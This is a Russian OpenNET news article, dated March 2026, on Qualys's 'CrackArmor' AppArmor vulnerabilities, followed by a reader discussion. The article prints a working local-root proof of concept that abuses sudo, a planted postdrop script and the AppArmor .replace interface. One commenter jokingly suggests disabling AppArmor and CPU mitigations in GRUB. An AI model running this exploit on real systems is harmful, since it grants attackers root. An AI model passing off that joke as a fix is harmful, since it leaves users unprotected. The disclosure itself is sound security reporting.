The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

Уязвимости в AppArmor, позволяющие получить root-доступ в системе

13.03.2026 12:56 (MSK)

Компания Qualys выявила 9 уязвимостей в системе мандатного управления доступом AppArmor, наиболее опасные из которых позволяют локальному непривилегированному пользователю получить права root в системе, выйти из изолированных контейнеров и обойти ограничения, заданные через AppArmor. Уязвимости получили кодовое имя CrackArmor. CVE-идентификаторы пока не назначены. Успешные примеры повышения привилегий продемонстрированы в Ubuntu 24.04 и Debian 13.

Проблемы присутствуют в LSM-модуле AppArmor начиная с ядра Linux 4.11, выпущенного в 2017 году, и проявляются в дистрибутивах, использующих AppArmor, таких как Ubuntu, Debian, openSUSE и SUSE (начиная с openSUSE/SUSE 16 по умолчанию задействован SELinux, но AppArmor оставлен в качестве опции). Патчи с устранением уязвимостей переданы разработчикам ядра Linux и в ближайшие дни будут предложены пользователям в составе обновлений 6.18.18, 6.19.8, 6.12.77, 6.6.130, 6.1.167, 5.15.203 и 5.10.253. Исправление также включено в сегодняшние обновления пакетов с ядром для Ubuntu. Попутно в Ubuntu выпущены обновления пакетов sudo, sudo-ldap и util-linux (в состав входит утилита su), в которых устранены недоработки, позволявшие эксплуатировать уязвимость в AppArmor. В Debian обновление в процессе подготовки.

Проблемы вызваны наличием в AppArmor фундаментальной уязвимости класса "обманутый посредник" ("confused-deputy"), позволяющей непривилегированным пользователям загружать, заменять и удалять произвольные профили AppArmor. Данная уязвимость напрямую может использоваться для отключения защиты программ и сервисов от локальных и удалённых атак (через запись псевдофайлов /sys/kernel/security/apparmor/.load, .replace и .remove, например, для снятия ограничений в cupsd и rsyslogd), вызова отказа в обслуживании (через применение запрещающих профилей) и обхода ограничений пространств имён (через загрузку нового AppArmor-профиля "userns", например, для /usr/bin/time, позволяющего создавать неограниченные user namespace).

Возможность замены профилей AppArmor также позволяет добиться получения root-привилегий через привязку к привилегированным утилитам, таким как su и sudo, новых профилей, блокирующих доступ к некоторым системным вызовам. В частности, права root можно получить блокировав операцию setuid (CAP_SETUID) для утилиты sudo в сочетании с манипуляцией переменной окружения MAIL_CONFIG для смены каталога с настройками для почтового сервера Postfix.

Суть метода в том, что при возникновении проблем утилита sudo отправляет администратору письмо, запуская /usr/sbin/sendmail. Блокировав сброс привилегий можно добиться запуска данного процесса с правами root, а выставив перед запуском sudo переменную окружения MAIL_CONFIG можно передать утилите sendmail другие настройки, в том числе указать свой обработчик postdrop, запускаемый при отправке почты.


   $ mkdir /tmp/postfix

   $ cat > /tmp/postfix/main.cf << "EOF"
   command_directory = /tmp/postfix
   EOF

   $ cat > /tmp/postfix/postdrop << "EOF"
   #!/bin/sh
   /usr/bin/id >> /tmp/postfix/pwned
   EOF

   $ chmod -R 0755 /tmp/postfix

   $ apparmor_parser -K -o sudo.pf << "EOF"
   /usr/bin/sudo {
     allow file,
     allow signal,
     allow network,
     allow capability,
     deny capability setuid,
   }
   EOF

  $ su -P -c 'stty raw && cat sudo.pf' "$USER" > /sys/kernel/security/apparmor/.replace
   Password: 

  $ env -i MAIL_CONFIG=/tmp/postfix /usr/bin/sudo whatever

   sudo: PERM_SUDOERS: setresuid(-1, 1, -1): Operation not permitted
   sudo: unable to open /etc/sudoers: Operation not permitted
   sudo: setresuid() [0, 0, 0] -> [1001, -1, -1]: Operation not permitted
   sudo: error initializing audit plugin sudoers_audit

   $ cat /tmp/postfix/pwned
   uid=0(root) gid=1001(jane) groups=1001(jane),100(users)

В качестве других способов повышения привилегий упоминаются уязвимости в коде AppArmor, работающем на уровне ядра Linux. Показано как получить права root при помощи уязвимостей, вызванных двойным выполнением функции free() и обращением к уже освобождённой области памяти (use‑after‑free) в коде загрузки и замены профилей AppArmor. Например, AppArmor сохраняет профиль в структуре aa_loaddata, память для которой выделяется в slab-кэше kmalloc-192, при этом из-за состояния гонки не исключено обращение к памяти, которую занимала структура, после её освобождения. Данную проблему можно использовать для получения контроля над освобожденной памятью и перераспределения освобождённой страницы памяти для маппинга содержимого файла /etc/passwd и перезаписи строки с паролем root.

  1. Главная ссылка к новости (https://blog.qualys.com/vulner...)
  2. OpenNews: AppArmor и Yama будут включены в Linux-ядро 2.6.36
  3. OpenNews: Root-уязвимость в инструментарии управления пакетами Snap
  4. OpenNews: Уязвимости в PAM и libblockdev, позволяющие получить права root в системе
  5. OpenNews: Уязвимость в Glibc ld.so, позволяющая получить права root в большинстве дистрибутивов Linux
  6. OpenNews: Выявлена возможность обхода ограничений доступа к "user namespace" в Ubuntu
Лицензия: CC BY 3.0
Короткая ссылка: https://opennet.ru/64984-apparmor
Ключевые слова: apparmor
При перепечатке указание ссылки на opennet.ru обязательно


Обсуждение (97) Ajax | 1 уровень | Линейный | +/- | Раскрыть всё | RSS
  • 1.4, Аноним (4), 13:53, 13/03/2026 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Фикс для бубунты:
    $ onano /etc/default/grub
    > GRUB_CMDLINE_LINUX_DEFAULT="quiet splash loglevel=0 apparmor=0 mitigations=off"

    $ update-grub

     
     
  • 2.5, openssh_user (ok), 14:13, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +17 +/
    Нет apparmor - нет проблем?
     
     
  • 3.11, АнонимЯ (?), 14:19, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +8 +/
    Ага, метод от девляпсов, судя по всему.
     
  • 3.62, kravich (ok), 16:05, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/
    И чертов SELinux туда же заберите
     
     
  • 4.73, Аноним (73), 17:18, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Во, в нём архитектурно заложенных дверей куда больше будет, учитывая его родителя.
     
     
  • 5.123, Димая (?), 18:11, 14/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    Приведи хоть одну.
     
  • 2.25, Аноним (25), 14:44, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +3 +/
    > mitigations=off

    Зачем отключать ещё и защиту от Meltdown и Spectre (спекулятивных CPU уязвимостей)?

     
     
  • 3.34, нах. (?), 14:59, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +6 +/
    затем что она примерно так же на#р не нужна как и апармор.

     
  • 3.49, Аноним (49), 15:36, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Он про домашние десктопы. Там оно не нужно. На серверах - дело твое уже (я бы не отключал).
     
     
  • 4.56, Аноним (25), 15:45, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    И из вкладки с мемами javascript пробивает защиту ОС насквозь. Хорошо, что для браузеров нету mitigations=off.
     
     
  • 5.94, Аноним (4), 19:08, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    Хорошо, что есть noscript.
     
  • 4.78, Аноним (78), 18:01, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    Можете аргументированно объяснить почему дома это не нужно?
     
     
  • 5.80, Аноним (80), 18:22, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    он считает,
    что на них входящие порты закрыты
    фаером
     
  • 2.67, Аноним (73), 17:00, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    А mitigations=off как от этого защитит (открыв другие ворота)?
     
     
  • 3.81, Аноним (80), 18:23, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/
    горит сарай,
    гори и хата!
     
  • 3.95, Аноним (4), 19:11, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Вы наверно из тех, кто из соображений безопасности заколачивает в доме окна и заливает замочную скважину герметиком т.к. "ворота" открыты!!11
     
     
  • 4.97, q (ok), 19:57, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    Неверная аналогия. Вот правильная: по умолчанию, дверной глазок закрыт шторкой. Это дефолт. Ты же эту шторку открыл, да еще скотчем прилепил, чтоб не закрывалась, преследуя хз какие цели. Отключение mitigations уже давно никак не ускоряет современные процы, челик. Либо ускоряет на ноль целых ноль ноль ноль ноль... процентов.
     
  • 2.102, Имя (?), 04:36, 14/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    Как давно пользователи Ubuntu без sudo и не под рутом наловчились выполнять подобные команды?
     

  • 1.7, Аноним (7), 14:15, 13/03/2026 [ответить] [﹢﹢﹢] [ · · · ]  
  • –2 +/
    > Проблемы присутствуют в LSM-модуле AppArmor начиная с ядра Linux 4.11

    Не зря люди на 3.* ядре сидят.

     
     
  • 2.9, Аноним (9), 14:17, 13/03/2026 Скрыто ботом-модератором     [к модератору]
  • +1 +/
     
  • 2.24, онанист (?), 14:42, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +5 +/
    зря
    2.6 рулит
     
     
  • 3.100, Аноним (100), 00:08, 14/03/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Хватит этих полумер, вносите счёты!
     
     
  • 4.110, Аноним (-), 09:14, 14/03/2026 Скрыто ботом-модератором     [к модератору]
  • +/
     
  • 2.65, Аноним (65), 16:33, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    >Может там СИшка другая?
    >Или диды в те времена не овнокодили?

    2017 Год - это не диды, это ты!

     
  • 2.86, Аноним (-), 18:38, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    Получается, что 4+ ядра — это для рептилоидов?
     
     
  • 3.124, Васян (?), 19:34, 14/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    Спраси у пидальнава парня Линуса... Ну он та точна уже знаит что там и для кого. Не? Он же ж дажи сибя там не ласково так называит - убл@дком, судя па пириводу на русский йызык. В инете можишь видосик найти. Можит спецом выкладывали отрывки из разговоров там их всяких...
     

  • 1.14, Аноним (14), 14:22, 13/03/2026 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    > Исправление также включено в сегодняшние обновления пакетов с ядром для Ubuntu.
    > В Debian обновление в процессе подготовки

    Никогда такого не было и вот опять.
    Дебианцам же торопиться некуда. Сегодня уже пятница, потом выходные, кто же на выходных патчи будет принимать.

     
     
  • 2.16, Аноним (16), 14:30, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    Так на дебиане же по-умолчанию apparmor отключён )
     
     
  • 3.19, Аноним (19), 14:34, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +2 +/
    > Так на дебиане же по-умолчанию apparmor отключён )

    Вы уверены? Может вы совсем недавно из криокамеры вышли?

    AppArmor is available in Debian since Debian 7 "Wheezy".
    If you are using Debian 10 "Buster" or newer, AppArmor is enabled by default

    wiki.debian.org/AppArmor/HowToUse

     
     
  • 4.36, Аноним (25), 15:00, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    Я тоже из криокамеры, к синтаксису nftables так и не привыкла.
     
     
  • 5.38, Аноним (25), 15:01, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    И к ip вместо ifconfig
     
     
  • 6.82, Аноним (80), 18:25, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    да уж..
    сложновато привыкать )))
     
  • 4.115, Аноним (78), 12:33, 14/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    > Debian 7 "Wheezy"

    Который выпущен в 2013
    Где же "тысячи глаз"? 🤦

     
  • 2.99, Rootlexx (?), 22:07, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    Вообще-то, обновление в Debian уже прилетело.
     
     
  • 3.116, Аноним (78), 12:33, 14/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    Другими словами вас не смущает бэкдор 13-летней давности, верно?
     
     
  • 4.125, Васян (?), 19:39, 14/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    Не знаю как его, но думаю что 90 персентов спицов с ойпеннета, которые с этим жили и живут, и гаварят что могут любую даже ядерную дырку закрыть любым пальцем любой ноги, не смущает...
     

  • 1.17, Аноним (17), 14:33, 13/03/2026 [ответить] [﹢﹢﹢] [ · · · ]  
  • +9 +/
    > Суть метода в том, что при возникновении проблем утилита sudo отправляет администратору письмо, запуская /usr/sbin/sendmail. Блокировав сброс привилегий можно добиться запуска данного процесса с правами root, а выставив перед запуском sudo переменную окружения MAIL_CONFIG можно передать утилите sendmail другие настройки, в том числе указать свой обработчик postdrop, запускаемый при отправке почты.

    Господи, здесь прекрасно абсолютно все: и sudo, шлющий эмейлы, и sendmail, запускающий черт знает что по указанию внешних переменных окружения.

    Очередное бинго из гениального диловского дизайна. В этот раз еще приправленное приблудой AppArmor (естественно, написанной на топовых технологиях 70х с double free), которая вместо защиты наоборот дает рут. 😂

    Сколько не говорят, что поверхность атаки нужно УМЕНЬШАТЬ, а не наоборот - все бестолку. Продолжаем наворачиват новые слои дырявых аппарморов и прочих файрджейлов - и потом делать удивленные глаза. 😧

     
     
  • 2.20, онанист (?), 14:35, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Сколько не говорят, что поверхность атаки нужно УМЕНЬШАТЬ, а не наоборот - все бестолку

    кто говорит? наоброт обязательно антивирус и тп

     
  • 2.23, Аноним (-), 14:42, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • –4 +/
    Ты просто ничего не понимаешь! Это же (xy)UNIХ-way!

    Диды писали, диды старались, ты такой неблагодарный на них бочку гонишь...
    А ну быстра извынысь!

     
  • 2.26, Аноним (25), 14:45, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Советую почитать классику UNIX HATERS HANDBOOK. Там и про sendmail есть!
     
     
  • 3.37, нах. (?), 15:00, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +2 +/
    советую поставить наконец любимую винду и отвалить от юнисов.
    Это не ваше. И не читайте всякое враньше неосиляторов.

    Кстати, в ТОМ sendmail - этой уязвимости нет.

     
     
  • 4.47, Аноним (47), 15:31, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    А можно вы со своими юниксами уже отвалите от линукса. Ведь он ГНУ, что расшифровывается как ГНУ НОТ! Юникс.

    У вас есть ваши либимые юниксы в виде макоси и бсд. Вот там и городите свои костыли.

     
     
  • 5.50, Аноним (25), 15:36, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    Not Unix, but Unix-like.
     
  • 5.53, Аноним (53), 15:42, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > А можно вы со своими юниксами уже отвалите от линукса. Ведь он ГНУ, что расшифровывается как ГНУ НОТ! Юникс.

    А когда это линукс стал ГНУ?
    Торвальдс сам говорил, что ни к ГНУ, ни к ФСФ, ни к бороде его проект отношения не имеет.

    > У вас есть ваши либимые юниксы в виде макоси и бсд. Вот там и городите свои костыли.

    Погоди.
    Если в линуксе не нужно, то зачем пuнгвинятники тащат чужие изобретения к себе?
    Часом не по причине скудоyмия и кpивых pук?

     
     
  • 6.55, Аноним (25), 15:43, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Когда под линуксом стали понимать не только ядро, но и ОС с gnu coreutils.
     
     
  • 7.59, Аноним (59), 15:52, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > Когда под линуксом стали понимать не только ядро, но и ОС с gnu coreutils.

    Кто стал))?
    Что busybox уже пропал?

    Linux это не GNU.
    lkml.org/lkml/2006/9/25/161
    "the fact that rms and the FSF has tried to paint Linux as a GNU project (going as far as trying to rename it "GNU/Linux" at every opportunity they get) is their confusion, not ours."


     
     
  • 8.61, Аноним (25), 16:00, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    Да тот же Debian GNU Linux ... текст свёрнут, показать
     
     
  • 9.63, Аноним (63), 16:06, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    Торвальдс пишет Linux не GNU А наpkоманы из деба - пишут что GNU Кому же ве... текст свёрнут, показать
     
     
  • 10.64, Аноним (25), 16:12, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    Обоим - квантовая суперпозиция Guix ещё ... текст свёрнут, показать
     
  • 10.72, Аноним (73), 17:14, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    Вот когда сделаешь свой дистр со всеми эnими uutils, заменишь GLibc на RsLibc В... текст свёрнут, показать
     
  • 9.87, Аноним (-), 18:41, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    Ну, Debian использует GNU coreutils, glibc и т п по умолчанию ведь ... текст свёрнут, показать
     
  • 8.101, Аноним (101), 04:03, 14/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    Все стали Линукс сейчас большенство называет ОС, а не ядро ... текст свёрнут, показать
     
  • 4.76, Аноним (76), 17:56, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    > Кстати, в ТОМ sendmail - этой уязвимости нет.

    Этой нет, факт. Зато других -- вагон, каждая вычурнее предыдущей. Проблема не в том, что кто-то не осилил. Проблема в том, что UNIX и его потомки как были системой для локалхостов с одним пользователем, так и остались по сей день. И сколько ни лечи его неймспейсами и контейнеризацией, он таким всё равно останется на фундаментальном уровне. А Plan9 вы закопали даже не пытаясь понять. Ну вот и суйте каждую программу в отдельную VM, эту изоляцию вроде так-сяк скотчем примотали, авось не развалится.

     
  • 4.114, Аноним (114), 12:17, 14/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    Линуксятина это не UNIX
     
  • 2.31, нах. (?), 14:55, 13/03/2026 Скрыто ботом-модератором     [к модератору]
  • +2 +/
     
  • 2.68, Сладкая булочка (?), 17:04, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    > прочих файрджейлов

    Он использует механизмы ядра и тут причем?

     
     
  • 3.74, Аноним (25), 17:22, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Тут не причём, но использует SUID и является возможной целью уязвимости повышения привилегий в будущем (или уже).
     
     
  • 4.93, Сладкая булочка (?), 19:06, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    > Тут не причём, но использует SUID и является возможной целью уязвимости повышения
    > привилегий в будущем (или уже).

    https://github.com/netblue30/firejail/discussions/4601

     
  • 3.85, Аноним (85), 18:37, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +2 +/
    >> прочих файрджейлов
    > Он использует механизмы ядра и тут причем?

    А ты не догадываешься? Ну, давай вместе посмотрим:

    "Уязвимость в firejail, позволяющая получить root-доступ в системе":

    https://www.opennet.me/opennews/art.shtml?num=57337

    "В Firejail выявлена уязвимость, позволяющая повысить свои привилегии до пользователя root":

    https://www.opennet.me/opennews/art.shtml?num=54564

    "В Firejail выявлено девять уязвимостей, большинство из которых позволяют повысить свои привилегии в основной системе до пользователя root":

    https://www.opennet.me/opennews/art.shtml?num=45824

     
     
  • 4.90, Сладкая булочка (?), 18:57, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • –2 +/
    >>> прочих файрджейлов
    >> Он использует механизмы ядра и тут причем?
    > А ты не догадываешься? Ну, давай вместе посмотрим:

    Ну уявзимости и уязвимости. Как это относится к теме с apparmor?


     
     
  • 5.117, Аноним (78), 12:36, 14/03/2026 Скрыто ботом-модератором     [к модератору]
  • +1 +/
     
     
  • 6.120, Сладкая булочка (?), 16:05, 14/03/2026 Скрыто ботом-модератором     [к модератору]
  • +/
     
  • 3.111, Аноним (-), 09:23, 14/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    Есть Bubblejail, GUI для настольного использования bubblewrap ... большой текст свёрнут, показать
     
     
  • 4.121, Сладкая булочка (?), 16:07, 14/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    > Есть Bubblejail, GUI для настольного использования bubblewrap.

    Только bubblewrap не умеет многое, что умеет firejail, а чтобы он умел ему нужен sudo. Так мы приходим с того, с чего начали.

     
  • 2.127, Аноним (127), 21:12, 14/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    > Очередное бинго из гениального диловского дизайна.

    Который таки решал проблемы. Пока опеннет-эксперты фантазировали о не[дп]остижимых идеалах.

    > Сколько не говорят

    А лучше б код писали. Хоть бы на четверть от сказанного.

    > поверхность атаки нужно УМЕНЬШАТЬ

    Только расстрелы атакующих спасут мировое софтостроение.

     

  • 1.22, Аноним (16), 14:40, 13/03/2026 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Если sudo на дебиане нет - получается уязвимость не сработает ?
     
     
  • 2.27, Аноним (25), 14:46, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Попутно в Ubuntu выпущены обновления пакетов sudo, sudo-ldap и **util-linux (в состав входит утилита su)**
     
  • 2.30, Аноним (30), 14:52, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    > Если sudo на дебиане нет - получается уязвимость не сработает ?

    А новость вы не пробовали читать?
    "Успешные примеры повышения привилегий продемонстрированы в Ubuntu 24.04 и Debian 13"

    Значит и без sudo работает.

     
     
  • 3.83, Аноним (80), 18:30, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    когда это из деба 13
    выкинули судо?
     
     
  • 4.106, Аноним (78), 07:58, 14/03/2026 [^] [^^] [^^^] [ответить]  
  • –1 +/
    https://wiki.debian.org/sudo/
    Пункт Installing sudo (спойлер - в debian вообще не нужен sudo, все команды от рута можно спокойно выполнить)
     
     
  • 5.113, Аноним (113), 11:27, 14/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    Смотря как вы устанавливали Дебиан. Если во время установки не задать рут-пароль то судо устанавливается автоматически. И кажется некоторые ДЕ устанавливают судо в любом случае.
     
     
  • 6.118, Аноним (78), 12:39, 14/03/2026 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Воспользуйтесь хотя бы переводчиком, что ль. Написано, что "даже если вы не устанавливали sudo, то команды для его запуска будут рутовыми". Другими словами - хоть ставьте пароль, хоть нет - запустить и выполнить рут команду получится в любом случае.
     
     
  • 7.122, RM (ok), 16:58, 14/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    похоже переводчик какой-то плохой.

    там так в оригинале не написано, написано как комментатор выше ответил

     

  • 1.42, Сладкая булочка (?), 15:18, 13/03/2026 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    AppArmor используется в snap. Вот и думайте.
     
     
  • 2.44, Аноним (25), 15:22, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    Думаю и использую flatpak.
     
  • 2.45, Аноним (45), 15:25, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    Но используется и отдельно.
    Какой вывод может быть сделан?
    1. аппармор оказался овнокодом
    2. дырени типичные
    3. создателю snapʼа нужно тщательнее выбирать, что использовать в проекте
     

  • 1.43, Аноним (-), 15:19, 13/03/2026 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    > Показано как получить права root при помощи уязвимостей, вызванных двойным выполнением функции free() и обращением к уже освобождённой области памяти (use‑after‑free)

    "если использовать язык программирования, с которым не надо тщательно обдумывать каждую строку, то можно знатно нафакапить" (c)

    Они использовали.
    И нафаkапили.

     
  • 1.58, Аноним (58), 15:49, 13/03/2026 [ответить] [﹢﹢﹢] [ · · · ]  
  • –1 +/
    Разве профили app_armor в ядро не от рута загружаются?
     
     
  • 2.75, Аноним (75), 17:51, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    Видимо, чтобы бедные мигранты из винды хоть зачем-то пытались хавать кактус бубунты, специально для них оставили кучу кнопок "сделать от рута". Безопасная система - это та, где нет бинарников с suid-битом.
     
     
  • 3.103, Аноним (103), 07:08, 14/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    >Безопасная система - это та, где нет бинарников с suid-битом.

    Ошибаешься, безопасная система - это выключенная из розетки, после чего окувалденная.

     

  • 1.60, Аноним (58), 15:57, 13/03/2026 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    apparmor давно превратился в сгнившее дерьмо В смысле что дока на него неполная... большой текст свёрнут, показать
     
  • 1.69, Сладкая булочка (?), 17:05, 13/03/2026 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    > Проблемы вызваны наличием в AppArmor фундаментальной уязвимости класса "обманутый посредник" ("confused-deputy"), позволяющей непривилегированным пользователям загружать, заменять и удалять произвольные профили AppArmor.

    Запретить непривилегированным пользователям это делать и все? В чем проблема?

     
     
  • 2.71, Аноним (71), 17:13, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • –3 +/
    Поздно пить Боржоми. Тыщеглаз снова не оправдал ожидания.
     
     
  • 3.77, Аноним (65), 17:57, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    >Поздно пить Боржоми. Тыщеглаз снова не оправдал ожидания.

    Ты уж не ленись добавлять, что не оправдали ТВОИ ожидания. Вот я даже не знаю, как нам теперь с этим жить.

     
     
  • 4.79, Аноним (71), 18:21, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    Кому вам,любителям уязвимостей?
     
     
  • 5.88, Аноним (65), 18:53, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/
    >Кому вам,любителям уязвимостей?

    Какие то трудности с удержанием контекста? СДВГ? - Ты же сам писал про 1000 глаз!

     
  • 4.84, Аноним (80), 18:33, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    ознакомься со структурой kicksecure
     
  • 2.105, Аноним (78), 07:53, 14/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    Кто должен это сделать? Те же люди, которые включили бэкдор в состав ядра?
     

  • 1.89, Аноним (89), 18:54, 13/03/2026 [ответить] [﹢﹢﹢] [ · · · ]  
  • –1 +/
    Как обычно пишут кто уязвимость обнаружил, но не пишут, кто ее внес. А ведь у этих людей есть имена.
     
     
  • 2.92, Аноним (92), 19:00, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Я предлагаю Доску Позора для горе-контрибьюторов.  
     
  • 2.96, Аноним (4), 19:14, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Кто внёс, тот и обнаружил.
     

  • 1.91, Аноним (92), 18:58, 13/03/2026 [ответить] [﹢﹢﹢] [ · · · ]  
  • +2 +/
    В новинку, что защитники "тоже люди"? В добавок, в построение и правилах AppArmor черт ногу сломит.
     
     
  • 2.112, User (??), 10:01, 14/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    Ну, всё равно на два порядка проще, чем голый selinux ковырять
     

  • 1.104, Аноним (78), 07:52, 14/03/2026 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    Без сарказма, но как бэкдор мог оставаться незамеченным столько лет? Будут ли наказаны те, кто допустил включение небезопасного кода в ядро?
     
     
  • 2.108, мяф (?), 08:57, 14/03/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/
    это не бекдор, это "такнадо"©
     
  • 2.126, Аноним (7), 20:48, 14/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    > как бэкдор мог оставаться незамеченным столько лет?

    Потому что его не хуавей делала, "этодpyгoe".

     

  • 1.107, мяф (?), 08:56, 14/03/2026 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    а я ж об этом писала когда-то .. вот кто-то удивится, когда вспомнит, что "ограниченный" процесс в состоянии себе политики менять(или коньноникол это тоже пофиксит ?)
    молчу про рутовые, aa-disable и спать
     
  • 1.109, Аноним (109), 09:03, 14/03/2026 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    > /sys/kernel/security/apparmor/.load, .replace и .remove
    > .

    очевидный бэкдор, специально с точкой файлы назвали, чтобы их не так заметно было среди всего остального хлама в /sys/kernel/security/apparmor/

     

     Добавить комментарий
    Имя:
    E-Mail:
    Текст:



    Партнёры:
    PostgresPro
    Inferno Solutions
    Hosting by Hoster.ru
    Хостинг:

    Закладки на сайте
    Проследить за страницей
    Created 1996-2026 by Maxim Chirkov
    Добавить, Поддержать, Вебмастеру